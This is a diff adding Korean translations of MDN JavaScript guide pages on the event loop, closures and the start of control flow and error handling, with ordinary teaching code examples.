+<p>이것은 함수가 실행될 때마다 미리 비워질 수 없고 다른 코드가 실행되기 전에 완전히 실행되며 함수가 조작하는 데이터를 수정할 수 있다는 사실을 포함하여 프로그램에 대한 추론을 할 때 좋은 속성을 제공합니다. 이것은 C와는 다릅니다. 예를 들어 함수가 쓰레드에서 실행된다면 런타임 시스템이 다른 쓰레드에서 다른 코드를 실행하기 위해 어느 시점에서 멈출 수 있습니다.</p>
+
+<p>이 모델의 부정적인 면은 어떤 메시지가 완료되기 까지 지나치게 오래 걸린다면 웹 어플리케이션은 클릭이나 스크롤과 같은 사용자 인터랙션을 처리할 수 없게 됩니다. 브라우저는 이러한 상황을 "a script is taking too long to run"과 같은 대화상자로 완화 합니다. 추천되는 좋은 방법은 메시지 처리를 짧도록 만드는 것과 하나의 메시지를 여러개의 메시지로 나누는 것 입니다.</p>
+
+<h3 id="메시지_추가하기">메시지 추가하기</h3>
+
+<p>웹 브라우저에서 이벤트 리스너가 부착된 이벤트가 발생할 때마다 메시지가 추가됩니다. 리스너가 없으면 이벤트는 손실됩니다. 클릭 이벤트 핸들러가 있는 요소를 클릭하면 다른 이벤트와 마찬가지로 메시지가 추가됩니다.</p>
+
+<p><code><a href="/en-US/docs/Web/API/WindowTimers.setTimeout" title="/en-US/docs/window.setTimeout">setTimeout</a></code> 함수는 2 개의 인수, 대기열에 추가 할 메시지와 시간값(선택사항, 기본값은 0)으로 호출됩니다. 시간 값은 메시지가 실제로 큐에 푸시 될 때까지의 (최소) 지연을 나타냅니다. 대기열에 다른 메시지가 없으면 지연 직후에 메시지가 처리됩니다. 그러나 메시지가있는 경우 setTimeout 메시지는 다른 메시지가 처리 될 때까지 기다려야합니다. 따라서 두 번째 인수는 최소 시간을 나타내지 만 보장 된 시간은 아닙니다.</p>
+
+<p>다음은 이 개념에 대한 예제입니다 (<code>setTimeout</code>은 타이머 만료 직후에 실행되지 않습니다).</p>
+
+<pre class="brush: js"><code>const s = new Date().getSeconds();
+
+setTimeout(function() {
+  // prints out "2", meaning that the callback is not called immediately after 500 milliseconds.
+  console.log("Ran after " + (new Date().getSeconds() - s) + " seconds");
+}, 500);
+
+while(true) {
+  if(new Date().getSeconds() - s &gt;= 2) {
+    console.log("Good, looped for 2 seconds");
+    break;
+  }
+}</code></pre>
+
+<h3 id="Zero_delays">Zero delays</h3>
+
+<p>Zero delay는 실제로 0ms 후에 콜백이 시작된다는 의미는 아닙니다. 0ms 지연된 {{domxref("WindowTimers.setTimeout", "setTimeout")}}은 주어진 간격 후에 콜백 함수를 실행하지 않습니다.</p>
+
+<p>실행은 큐에 대기중인 작업 수에 따라 다릅니다. 아래 예에서, 콜백의 메시지가 처리되기 전에 콘솔에 "this is just message"메시지가 기록됩니다. 왜냐하면 지연(delay)은 보장된 시간이 아니라 요청을 처리하기 위해 필요한 최소의 시간이기 때문입니다.</p>
+
+<p>기본적으로 setTimeout은 setTimeout에 대한 특정 시간 제한을 지정 했더라도 대기중인 메시지의 모든 코드가 완료 될 때까지 대기해야합니다.</p>
+
+<pre class="brush: js"><code>(function() {
+
+  console.log('this is the start');
+
+  setTimeout(function cb() {
+    console.log('this is a msg from call back');
+  });
+
+  console.log('this is just a message');
+
+  setTimeout(function cb1() {
+    console.log('this is a msg from call back1');
+  }, 0);
+
+  console.log('this is the end');
+
+})();
+
+// "this is the start"
+// "this is just a message"
+// "this is the end"
+// note that function return, which is undefined, happens here
+// "this is a msg from call back"
+// "this is a msg from call back1"</code></pre>
+
+<h3 id="몇가지_런타임_통신">몇가지 런타임 통신</h3>
+
+<p>웹워커 또는 크로스 오리진 <code>iframe</code>은 자신의 스택, 힙, 메시지 큐를 가지고 있습니다. 두 별개의 런타임들은 <a href="/en-US/docs/DOM/window.postMessage" title="/en-US/docs/DOM/window.postMessage"><code>postMessage</code></a> method를 통해서만 서로 통신할 수 있습니다. 이 메서드는 다른 런타임이 <code>message</code> 이벤트 핸들러를 등록하고 있다면 해당 런타임의 큐에 메시지를 추가합니다.</p>
+
+<h2 id="Never_blocking">Never blocking</h2>
+
+<p>이벤트 루프 모델의 무척 재밌는 부분은 다른 언어와 달리 자바스크립트는 결코 Block하지 않는다는 것입니다. I/O 처리는 흔히 이벤트와 콜백으로 처리 됩니다. 그래서 응용프로그램이 <a href="/en-US/docs/Web/API/IndexedDB_API" title="/en-US/docs/IndexedDB">IndexedDB</a> query 반환을 기다리고 있거나 <a href="/en-US/docs/Web/API/XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest">XHR</a> 요청 반환을 기다릴 때에도 여전히 사용자 입력과 같은 다른 것을을 처리할 수 있습니다.</p>
+
+<p><code>alert</code> 또는 synchronous XHR과 같은 구현 예외가 존재 합니다. 그러나 그것들은 사용되지 않는 것이 좋다라고 여겨집니다. <a href="http://stackoverflow.com/questions/2734025/is-javascript-guaranteed-to-be-single-threaded/2734311#2734311" title="http://stackoverflow.com/questions/2734025/is-javascript-guaranteed-to-be-single-threaded/2734311#2734311">예외를 위한 예외</a>를 조심하세요 (그러나 보통 구현 버그일뿐 그이상 아무것도 아닙니다).</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#event-loops', 'Event loops')}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick/#what-is-the-event-loop">Node.js Event Loop</a></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/javascript/guide/closures/index.html b/files/ko/web/javascript/guide/closures/index.html
new file mode 100644
index 0000000000..b56d843b2b
--- /dev/null
+++ b/files/ko/web/javascript/guide/closures/index.html
@@ -0,0 +1,454 @@
+---
+title: 클로저
+slug: Web/JavaScript/Guide/Closures
+tags:
+  - Closure
+  - ES5
+  - Intermediate
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Closures
+---
+<div>{{jsSidebar("Intermediate")}}</div>
+
+<p>클로저는 함수와 함수가 선언된 어휘적 환경의 조합이다. 클로저를 이해하려면 자바스크립트가 어떻게 변수의 유효범위를 지정하는지(Lexical scoping)를 먼저 이해해야 한다.</p>
+
+<h2 id="어휘적_범위_지정Lexical_scoping">어휘적 범위 지정(Lexical scoping)</h2>
+
+<p>다음을 보자:</p>
+
+<pre>function init() {
+  var name = "Mozilla"; // name은 init에 의해 생성된 지역 변수이다.
+  function displayName() { // displayName() 은 내부 함수이며, 클로저다.
+    alert(name); // 부모 함수에서 선언된 변수를 사용한다.
+  }
+  displayName();
+}
+init();</pre>
+
+<p><code>init()</code>은 지역 변수 <code>name</code>과 함수 <code>displayName()</code>을 생성한다. <code>displayName()</code>은 <code>init()</code> 안에 정의된 내부 함수이며 <code>init()</code> 함수 본문에서만 사용할 수 있다. 여기서 주의할 점은 <code>displayName()</code> 내부엔 자신만의 지역 변수가 없다는 점이다. 그런데 함수 내부에서 외부 함수의 변수에 접근할 수 있기 때문에 <code>displayName()</code> 역시 부모 함수 <code>init()</code>에서 선언된 변수 <code>name</code>에 접근할 수 있다. 만약 <code>displayName()</code>가 자신만의 <code>name</code>변수를 가지고 있었다면, <code>name</code>대신 <code>this.name</code>을 사용했을 것이다.</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/78dg25ax/", "js,result", 250)}}</p>
+
+<p>위 코드를 <a href="http://jsfiddle.net/xAFs9/3/">실행</a>하면 <code>displayName()</code> 함수 내의 <code>alert()</code>문이 부모 함수에서 정의한 변수 <code>name</code>의 값을 성공적으로 출력한다. 이 예시를 통해 함수가 중첩된 상황에서 파서가 어떻게 변수를 처리하는지 알 수 있다. 이는 어휘적 범위 지정(lexical scoping)의 한 예이다. 여기서 "lexical"이란, 어휘적 범위 지정(lexical scoping) 과정에서 변수가 어디에서 사용 가능한지 알기 위해 그 변수가 소스코드 내 어디에서 선언되었는지 고려한다는 것을 의미한다. 단어 "lexical"은 이런 사실을 나타낸다. 중첩된 함수는 외부 범위(scope)에서 선언한 변수에도 접근할 수 있다.</p>
+
+<h2 id="클로저Closure">클로저(Closure)</h2>
+
+<p>이제 다음 예제를 보자:</p>
+
+<pre>function makeFunc() {
+  var name = "Mozilla";
+  function displayName() {
+    alert(name);
+  }
+  return displayName;
+}
+
+var myFunc = makeFunc();
+//myFunc변수에 displayName을 리턴함
+//유효범위의 어휘적 환경을 유지
+myFunc();
+//리턴된 displayName 함수를 실행(name 변수에 접근)</pre>
+
+<p>이 코드는 바로 전의 예제와 완전히 동일한 결과가 실행된다. 하지만 흥미로운 차이는 <code>displayName()</code>함수가 실행되기 전에 외부함수인 <code>makeFunc()</code>로부터 리턴되어 <code>myFunc</code> 변수에 저장된다는 것이다.</p>
+
+<p>한 눈에 봐서는 이 코드가 여전히 작동하는 것이 직관적으로 보이지 않을 수 있다. 몇몇 프로그래밍 언어에서, 함수 안의 지역 변수들은 그 함수가 처리되는 동안에만 존재한다. <code>makeFunc()</code> 실행이 끝나면(<code>displayName</code>함수가 리턴되고 나면) <code>name</code> 변수에 더 이상 접근할 수 없게 될 것으로 예상하는 것이 일반적이다.</p>
+
+<p>하지만 위의 예시와 자바스크립트의 경우는 다르다. 그 이유는 자바스크립트는 함수를 리턴하고, 리턴하는 함수가 클로저를 형성하기 때문이다. 클로저는 함수와 함수가 선언된 어휘적 환경의 조합이다. 이 환경은 클로저가 생성된 시점의 유효 범위 내에 있는 모든 지역 변수로 구성된다. 첫 번째 예시의 경우, <code>myFunc</code>은 <code>makeFunc</code>이 실행될 때 생성된 <code>displayName</code> 함수의 인스턴스에 대한 참조다. <code>displayName</code>의 인스턴스는 변수 <code>name</code> 이 있는 어휘적 환경에 대한 참조를 유지한다. 이런 이유로 <code>myFunc</code>가 호출될 때 변수 <code>name</code>은 사용할 수 있는 상태로 남게 되고 "Mozilla" 가 <code>alert</code> 에 전달된다.</p>
+
+<p>다음은 조금 더 흥미로운 예제인 makeAdder 함수이다:</p>
+
+<pre>function makeAdder(x) {
+  var y = 1;
+  return function(z) {
+    y = 100;
+    return x + y + z;
+  };
+}
+
+var add5 = makeAdder(5);
+var add10 = makeAdder(10);
+//클로저에 x와 y의 환경이 저장됨
+
+console.log(add5(2));  // 107 (x:5 + y:100 + z:2)
+console.log(add10(2)); // 112 (x:10 + y:100 + z:2)
+//함수 실행 시 클로저에 저장된 x, y값에 접근하여 값을 계산
+
+</pre>
+
+<p>이 예제에서 단일 인자 <code>x</code>를 받아서 새 함수를 반환하는 함수 <code>makeAdder(x)를 정의했다.</code> 반환되는 함수는 단일 인자 <font face="consolas, Liberation Mono, courier, monospace">z</font>를 받아서 x와 y와 z의 합을 반환한다.</p>
+
+<p>본질적으로 <code>makeAdder</code>는 함수를 만들어내는 공장이다. 이는 <code>makeAdder</code>함수가 특정한 값을 인자로 가질 수 있는 함수들을 리턴한다는 것을 의미한다. 위의 예제에서 <code>add5, add10</code> 두 개의 새로운 함수들을 만들기 위해 <code>makeAdder</code>함수 공장을 사용했다. 하나는 매개변수 <font face="consolas, Liberation Mono, courier, monospace">x</font>에 5를 더하고 다른 하나는 매개변수 <font face="consolas, Liberation Mono, courier, monospace">x</font>에 10을 더한다.</p>
+
+<p><code>add5</code>와 <code>add10</code>은 둘 다 클로저이다. 이들은 같은 함수 본문 정의를 공유하지만 서로 다른 맥락(어휘)적 환경을 저장한다. 함수 실행 시 <code>add5</code>의 맥락적 환경에서 클로저 내부의 x는 5 이지만 <code>add10</code>의 맥락적 환경에서 x는 10이다. 또한 리턴되는 함수에서 초기값이 1로 할당된 y에 접근하여 y값을 100으로 변경한 것을 볼 수 있다. (물론 x값도 동일하게 변경 가능하다.) 이는 클로저가 리턴된 후에도 외부함수의 변수들에 접근 가능하다는 것을 보여주는 포인트이며 클로저에 단순히 값 형태로 전달되는 것이 아니라는 것을 의미한다.</p>
+
+<h2 id="실용적인_클로저">실용적인 클로저</h2>
+
+<p>클로저는 어떤 데이터(어휘적 환경)와 그 데이터를 조작하는 함수를 연관시켜주기 때문에 유용하다. 이것은 객체가 어떤 데이터와(그 객체의 속성) 하나 혹은 그 이상의 메소드들을 연관시킨다는 점에서 객체지향 프로그래밍과 분명히 같은 맥락에 있다.</p>
+
+<p>결론적으로 오직 하나의 메소드를 가지고 있는 객체를 일반적으로 사용하는 모든 곳에 클로저를 사용할 수 있다.</p>
+
+<p>이렇게 할 수 있는 상황은 특히 웹에서 일반적이다. 프론트 엔드 자바스크립트에서 우리가 쓰는 많은 코드가 이벤트 기반이다. 우리는 몇 가지 동작을 정의한 다음 사용자에 의한 이벤트에(클릭 혹은 키 누르기 같은) 연결한다. 우리의 코드는 일반적으로 콜백으로 첨부된다: 이벤트에 응답하여 실행되는 단일 함수다.</p>
+
+<p>예를 들면 페이지의 글자 크기를 조정하는 몇 개의 버튼을 추가한다고 가정하자. 이 작업을 수행하는 한 가지 방법은 body 요소의 font-size를 픽셀 단위로 지정하고 상대적인 em 단위를 사용하여 페이지의 다른 요소들의 (예: 헤더) 크기를 설정하는 것이다.</p>
+
+<pre>body {
+  font-family: Helvetica, Arial, sans-serif;
+  font-size: 12px;
+}
+
+h1 {
+  font-size: 1.5em;
+}
+
+h2 {
+  font-size: 1.2em;
+}
+</pre>
+
+<p>우리의 대화식 글자 크기 버튼들은 body 요소의 font-size 속성을 변경할 수 있고 이런 조정은 상대적 단위들 덕분에 페이지의 다른 요소에 의해 선택된다.</p>
+
+<p>여기 자바스크립트 코드가 있다.</p>
+
+<pre>function makeSizer(size) {
+  return function() {
+    document.body.style.fontSize = size + 'px';
+  };
+}
+
+var size12 = makeSizer(12);
+var size14 = makeSizer(14);
+var size16 = makeSizer(16);
+</pre>
+
+<p><code>size12</code>, <code>size14</code>, <code>size16</code>은 body 요소의 글자 크기를 각각 12, 14, 16 픽셀로 바꾸는 함수이다. 이 함수들을 아래처럼 버튼들에(이 경우에는 링크) 연결할 수 있다.</p>
+
+<pre>document.getElementById('size-12').onclick = size12;
+document.getElementById('size-14').onclick = size14;
+document.getElementById('size-16').onclick = size16;
+</pre>
+
+<pre>&lt;a href="#" id="size-12"&gt;12&lt;/a&gt;
+&lt;a href="#" id="size-14"&gt;14&lt;/a&gt;
+&lt;a href="#" id="size-16"&gt;16&lt;/a&gt;
+</pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/vnkuZ/","","200")}}</p>
+
+<h2 id="클로저를_이용해서_프라이빗_메소드_private_method_흉내내기">클로저를 이용해서 프라이빗 메소드 (private method) 흉내내기</h2>
+
+<p>자바와 같은 몇몇 언어들은 메소드를 프라이빗으로 선언할 수 있는 기능을 제공한다. 이는 같은 클래스 내부의 다른 메소드에서만 그 메소드들을 호출할 수 있다는 의미이다.</p>
+
+<p>자바스크립트는 태생적으로는 이런 방법을 제공하지 않지만 클로저를 이용하여 프라이빗 메소드를 흉내내는 것이 가능하다. 프라이빗 메소드는 코드에 제한적인 접근만을 허용한다는 점 뿐만 아니라 전역 네임 스페이스를 관리하는 강력한 방법을 제공하여 불필요한 메소드가 공용 인터페이스를 혼란스럽게 만들지 않도록 한다.</p>
+
+<p>아래 코드는 프라이빗 함수와 변수에 접근하는 퍼블릭 함수를 정의하기 위해 클로저를 사용하는 방법을 보여준다. 이렇게 클로저를 사용하는 것을 <a href="http://www.google.com/search?q=javascript+module+pattern" title="http://www.google.com/search?q=javascript+module+pattern">모듈 패턴</a>이라 한다.</p>
+
+<pre>var counter = (function() {
+  var privateCounter = 0;
+  function changeBy(val) {
+    privateCounter += val;
+  }
+  return {
+    increment: function() {
+      changeBy(1);
+    },
+    decrement: function() {
+      changeBy(-1);
+    },
+    value: function() {
+      return privateCounter;
+    }
+  };
+})();
+
+console.log(counter.value()); // logs 0
+counter.increment();
+counter.increment();
+console.log(counter.value()); // logs 2
+counter.decrement();
+console.log(counter.value()); // logs 1
+</pre>
+
+<p>이전 예제에서 각 클로저들이 고유한 문법적 환경을 가졌지만 여기서 우리는 <code>counter.increment</code>, <code>counter.decrement</code>, <code>counter.value </code>세 함수에 의해 공유되는 하나의 어휘적 환경을 만든다.</p>
+
+<p>공유되는 어휘적 환경은 실행되는 익명 함수 안에서 만들어진다. 이 익명 함수는 정의되는 즉시 실행된다. 이 어휘적 환경은 두 개의 프라이빗 아이템을 포함한다. 하나는 <code>privateCounter</code>라는 변수이고 나머지 하나는 <code>changeBy</code>라는 함수이다. 둘 다 익명 함수 외부에서 접근될 수 없다. 대신에 익명 래퍼에서 반환된 세 개의 퍼블릭 함수를 통해서만 접근되어야만 한다.</p>
+
+<p>위의 세 가지 퍼블릭 함수는 같은 환경을 공유하는 클로저다. 자바스크립트의 어휘적 유효 범위 덕분에 세 함수 각각 <code>privateCounter</code> 변수와 <code>changeBy</code> 함수에 접근할 수 있다.</p>
+
+<p>카운터를 생성하는 익명 함수를 정의하고 그 함수를 즉시 호출하고 결과를 counter 변수에 할당하는 것을 알아차렸을 것이다. 이 함수를 별도의 변수 makeCounter 저장하고 이 변수를 이용해 여러 개의 카운터를 만들 수 있다.</p>
+
+<pre>var makeCounter = function() {
+  var privateCounter = 0;
+  function changeBy(val) {
+    privateCounter += val;
+  }
+  return {
+    increment: function() {
+      changeBy(1);
+    },
+    decrement: function() {
+      changeBy(-1);
+    },
+    value: function() {
+      return privateCounter;
+    }
+  }
+};
+
+var counter1 = makeCounter();
+var counter2 = makeCounter();
+alert(counter1.value()); /* 0 */
+counter1.increment();
+counter1.increment();
+alert(counter1.value()); /* 2 */
+counter1.decrement();
+alert(counter1.value()); /* 1 */
+alert(counter2.value()); /* 0 */
+</pre>
+
+<p>두 개의 카운터가 어떻게 다른 카운터와 독립성을 유지하는지 주목해보자. 각 클로저는 그들 고유의 클로저를 통한 privateCounter 변수의 다른 버전을 참조한다. 각 카운터가 호출될 때마다; 하나의 클로저에서 변수 값을 변경해도 다른 클로저의 값에는 영향을 주지 않는다.</p>
+
+<p>이런 방식으로 클로저를 사용하여 객체지향 프로그래밍의 정보 은닉과 캡슐화 같은 이점들을 얻을 수 있다.</p>
+
+<h2 id="클로저_스코프_체인">클로저 스코프 체인</h2>
+
+<p>모든 클로저에는 세가지 스코프(범위)가 있다:-</p>
+
+<ul>
+ <li>지역 범위 (Local Scope, Own scope)</li>
+ <li>외부 함수 범위 (Outer Functions Scope)</li>
+ <li>전역 범위 (Global Scope)</li>
+</ul>
+
+<p>따라서, 우리는 클로저에 대해 세가지 범위 모두 접근할 수 있지만, 중첩된 내부 함수가 있는 경우 종종 실수를 저지른다. 아래 예제를 확인해보자:</p>
+
+<pre><code>// 전역 범위 (global scope)
+var e = 10;
+function sum(a){
+  return function(b){
+    return function(c){
+      // 외부 함수 범위 (outer functions scope)
+      return function(d){
+        // 지역 범위 (local scope)
+        return a + b + c + d + e;
+      }
+    }
+  }
+}
+
+console.log(sum(1)(2)(3)(4)); // log 20
+
+// 익명 함수 없이 작성할 수도 있다.
+
+// 전역 범위 (global scope)
+var e = 10;
+function sum(a){
+  return function sum2(b){
+    return function sum3(c){
+      // 외부 함수 범위 (outer functions scope)
+      return function sum4(d){
+        // 지역 범위 (local scope)
+        return a + b + c + d + e;
+      }
+    }
+  }
+}
+
+var s = sum(1);
+var s1 = s(2);
+var s2 = s1(3);
+var s3 = s2(4);
+console.log(s3) //log 20</code></pre>
+
+<p>위의 예제를 보면 일련의 중첩된 함수들을 확인할 수 있다. 이 함수들은 전부 외부 함수의 스코프에 접근할 수 있다. 그런데 문제는 즉각적인 외부 함수의 스코프만을 추측한다는 것이다. 이 문맥에서는 모든 클로저가 선언된 외부 함수의 스코프에 접근한다라고 말할 수 있다.</p>
+
+<h2 id="루프에서_클로저_생성하기_일반적인_실수">루프에서 클로저 생성하기: 일반적인 실수</h2>
+
+<p>ECMAScript 2015의 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let" title="방해"><code>let</code> 키워드</a> 소개 전에는 클로저와 관련된 일반적인 문제는 루프 안에서 클로저가 생성되었을 때 발생한다.다음 예제를 보자.</p>
+
+<pre>&lt;p id="help"&gt;Helpful notes will appear here&lt;/p&gt;
+&lt;p&gt;E-mail: &lt;input type="text" id="email" name="email"&gt;&lt;/p&gt;
+&lt;p&gt;Name: &lt;input type="text" id="name" name="name"&gt;&lt;/p&gt;
+&lt;p&gt;Age: &lt;input type="text" id="age" name="age"&gt;&lt;/p&gt;
+</pre>
+
+<pre>function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Your e-mail address'},
+      {'id': 'name', 'help': 'Your full name'},
+      {'id': 'age', 'help': 'Your age (you must be over 16)'}
+    ];
+
+  for (var i = 0; i &lt; helpText.length; i++) {
+    var item = helpText[i];
+    document.getElementById(item.id).onfocus = function() {
+      showHelp(item.help);
+    }
+  }
+}
+
+setupHelp();
+</pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/", "", 200)}}</p>
+
+<p>helpText 배열은 세 개의 도움말 힌트를 정의한다. 각 도움말은 문서의 입력 필드의 ID와 연관된다. 루프를 돌면서 각 입력 필드 ID에 해당하는 엘리먼트의 onfocus 이벤트에 관련된 도움말을 보여주는 메소드에 연결한다.</p>
+
+<p>이 코드를 사용하면 제대로 동작하지 않는 것을 알게 된다. 어떤 필드에 포커스를 주더라도 나이에 관한 도움말이 표시된다.</p>
+
+<p>onfocus 이벤트에 연결된 함수가 클로저이기 때문이다. 이 클로저는 함수 정의와 setupHelp 함수 범위에서 캡처된 환경으로 구성된다. 루프에서 세 개의 클로저가 만들어졌지만 각 클로저는 값이 변하는 변수가 (item.help) 있는 같은 단일 환경을 공유한다. onfocus 콜백이 실행될 때 콜백의 환경에서 item 변수는 (세개의 클로저가 공유한다) helpText 리스트의 마지막 요소를 가리키고 있을 것이다.</p>
+
+<p>이 경우 한 가지 해결책은 더 많은 클로저를 사용하는 것이다: 특히 앞에서 설명한 함수 팩토리를 사용하는 것이다.</p>
+
+<pre>function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function makeHelpCallback(help) {
+  return function() {
+    showHelp(help);
+  };
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Your e-mail address'},
+      {'id': 'name', 'help': 'Your full name'},
+      {'id': 'age', 'help': 'Your age (you must be over 16)'}
+    ];
+
+  for (var i = 0; i &lt; helpText.length; i++) {
+    var item = helpText[i];
+    document.getElementById(item.id).onfocus = makeHelpCallback(item.help);
+  }
+}
+
+setupHelp();
+</pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/1/", "", 300)}}</p>
+
+<p>이것은 예상대로 동작한다. 모두 단일 환경을 공유하는 콜백대신, <code>makeHelpCallback</code> 함수는 각각의 콜백에 새로운 어휘적 환경을 생성한다. 여기서 help는 helpText 배열의 해당 문자열을 나타낸다.</p>
+
+<p>익명 클로저를 사용하여 위 코드를 작성하는 또 다른 방법은 다음과 같다.</p>
+
+<pre>function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Your e-mail address'},
+      {'id': 'name', 'help': 'Your full name'},
+      {'id': 'age', 'help': 'Your age (you must be over 16)'}
+    ];
+
+  for (var i = 0; i &lt; helpText.length; i++) {
+    (function() {
+       var item = helpText[i];
+       document.getElementById(item.id).onfocus = function() {
+         showHelp(item.help);
+       }
+    })(); // Immediate event listener attachment with the current value of item (preserved until iteration).
+  }
+}
+
+setupHelp();</pre>
+
+<p>더 많은 클로저를 사용하는 것이 싫다면 ES2015의 <code><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/let">let</a></code> 키워드를 사용할 수 있다.</p>
+
+<pre>function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Your e-mail address'},
+      {'id': 'name', 'help': 'Your full name'},
+      {'id': 'age', 'help': 'Your age (you must be over 16)'}
+    ];
+
+  for (var i = 0; i &lt; helpText.length; i++) {
+    let item = helpText[i];
+    document.getElementById(item.id).onfocus = function() {
+      showHelp(item.help);
+    }
+  }
+}
+
+setupHelp();</pre>
+
+<p>위의 경우 var 대신 let을 사용하여 모든 클로저가 블록 범위 변수를 바인딩할 것이므로 추가적인 클로저를 사용하지 않아도 완벽하게 동작할 것이다.</p>
+
+<h2 id="성능_관련_고려_사항">성능 관련 고려 사항</h2>
+
+<p>특정 작업에 클로저가 필요하지 않는데 다른 함수 내에서 함수를 불필요하게 작성하는 것은 현명하지 않다. 이것은 처리 속도와 메모리 소비 측면에서 스크립트 성능에 부정적인 영향을 미칠 것이다.</p>
+
+<p>예를 들어, 새로운 객체/클래스를 생성 할 때, 메소드는 일반적으로 객체 생성자에 정의되기보다는 객체의 프로토타입에 연결되어야 한다. 그 이유는 생성자가 호출 될 때마다 메서드가 다시 할당되기 때문이다 (즉, 모든 개체가 생성 될 때마다).</p>
+
+<p>비실용적이지만 시범적인 다음 예를 고려하라:</p>
+
+<pre>function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+  this.getName = function() {
+    return this.name;
+  };
+
+  this.getMessage = function() {
+    return this.message;
+  };
+}
+</pre>
+
+<p>앞의 코드는 클로저의 이점을 이용하지 않음으로 다음과 같이 다시 쓸 수 있다.</p>
+
+<pre>function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+}
+MyObject.prototype = {
+  getName: function() {
+    return this.name;
+  },
+  getMessage: function() {
+    return this.message;
+  }
+};
+</pre>
+
+<p>그러나 프로토타입을 다시 정의하는 것은 권장되지 않음으로 기존 프로토타입에 추가하는 다음 예제가 더 좋다.</p>
+
+<pre>function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+}
+MyObject.prototype.getName = function() {
+  return this.name;
+};
+MyObject.prototype.getMessage = function() {
+  return this.message;
+};
+</pre>
+
+<p>위의 코드는 같은 결과를 가진 더 깨끗한 방법으로 작성할 수도 있다:</p>
+
+<pre>function MyObject(name, message) {
+    this.name = name.toString();
+    this.message = message.toString();
+}
+(function() {
+    this.getName = function() {
+        return this.name;
+    };
+    this.getMessage = function() {
+        return this.message;
+    };
+}).call(MyObject.prototype);
+</pre>
+
+<p>앞의 두 가지 예제에서 상속된 프로토타입은 모든 객체에서 공유될 수 있으며 메소드 정의는 모든 객체 생성시 발생할 필요가 없다. <a href="/en-US/docs/JavaScript/Guide/Details_of_the_Object_Model" title="en-US/docs/JavaScript/Guide/Details of the Object Model">객체 모델의 세부 사항</a>을 참고하라.</p>
diff --git a/files/ko/web/javascript/guide/control_flow_and_error_handling/index.html b/files/ko/web/javascript/guide/control_flow_and_error_handling/index.html
new file mode 100644
index 0000000000..fa007d6997
--- /dev/null
+++ b/files/ko/web/javascript/guide/control_flow_and_error_handling/index.html
@@ -0,0 +1,433 @@
+---
+title: 제어 흐름과 에러 처리
+slug: Web/JavaScript/Guide/Control_flow_and_error_handling
+tags:
+  - 가이드
+  - 자바 스크립트
+  - 초보자
+translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
+---
+<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</p>
+
+<p class="summary">JavaScript는 어플리케이션 상의 상호작용을 통합하는데 사용할 수 있는 일련의 문법, 특히 제어흐름 문을 지원합니다. 이 장에서는 이러한 문법의 개요를 제공합니다.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript reference</a>는 이 장의 문법에 대한 철저하고 자세한 내용은 포함하고 있습니다. 세미콜론 (;) 은 JavaScript 코드 상에서 문장을 나누는데 사용됩니다. </p>
+
+<p> JavaScript 표현식도 문법입니다. 표현식에 대한 자세한 내용은 <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">Expressions and operators</a>를 참조하세요.</p>
+
+<h2 id="Block_문">Block 문</h2>
+
+<p>Block 문은 코드를 묶는 가장 기본적인 문법입니다. Block 문은 중괄호 ( { } )에 의해 범위가 결정됩니다.</p>
+
+<pre class="brush: js">{
+  statement_1;
+  statement_2;
+  .
+  .
+  .
+  statement_n;
+}
+</pre>
+
+<h3 id="예시">예시</h3>
+
+<p>Block 문은 일반적으로 제어 흐름 문(if, for, while)과 함께  사용됩니다.</p>
+
+<pre class="brush: js">while (x &lt; 10) {
+  x++;
+}
+</pre>
+
+<p>여기서, <code>{ x++; }</code>는 block 문입니다.</p>
+
+<p><strong>중요</strong>: ECMAScript2015 이전의 JavaScript는 <strong>블록 범위를 가지고 있지 않습니다.</strong> Block 내에서 선언한 변수는 블록을 넘어 변수가 위치한 함수 혹은 스크립트에 영향을 끼치게 됩니다.즉, block 문은 변수의 범위를 정의하지 않습니다. 자바스크립트의 "독립" block 은 C 혹은 Java의 그것과 완전히 다른 결과를 가집니다. 예를 들어:</p>
+
+<pre class="brush: js">var x = 1;
+{
+  var x = 2;
+}
+console.log(x); // outputs 2
+</pre>
+
+<p>블록 내에 var x 문이 블록 전에 var x 문과 같은 범위에 있기 때문에 2를 출력합니다. C 나 Java에서 해당 코드는 1을 출력합니다.</p>
+
+<p>ECMAScript2015부터, <code>let</code> 그리고 <code>const</code> 변수 선언으로 변수의 블록 범위를 제한할 수 있습니다. 자세한 내용은 {{jsxref("Statements/let", "let")}}와 {{jsxref("Statements/const", "const")}} 참조 페이지를 참조하세요.</p>
+
+<h2 id="조건문">조건문</h2>
+
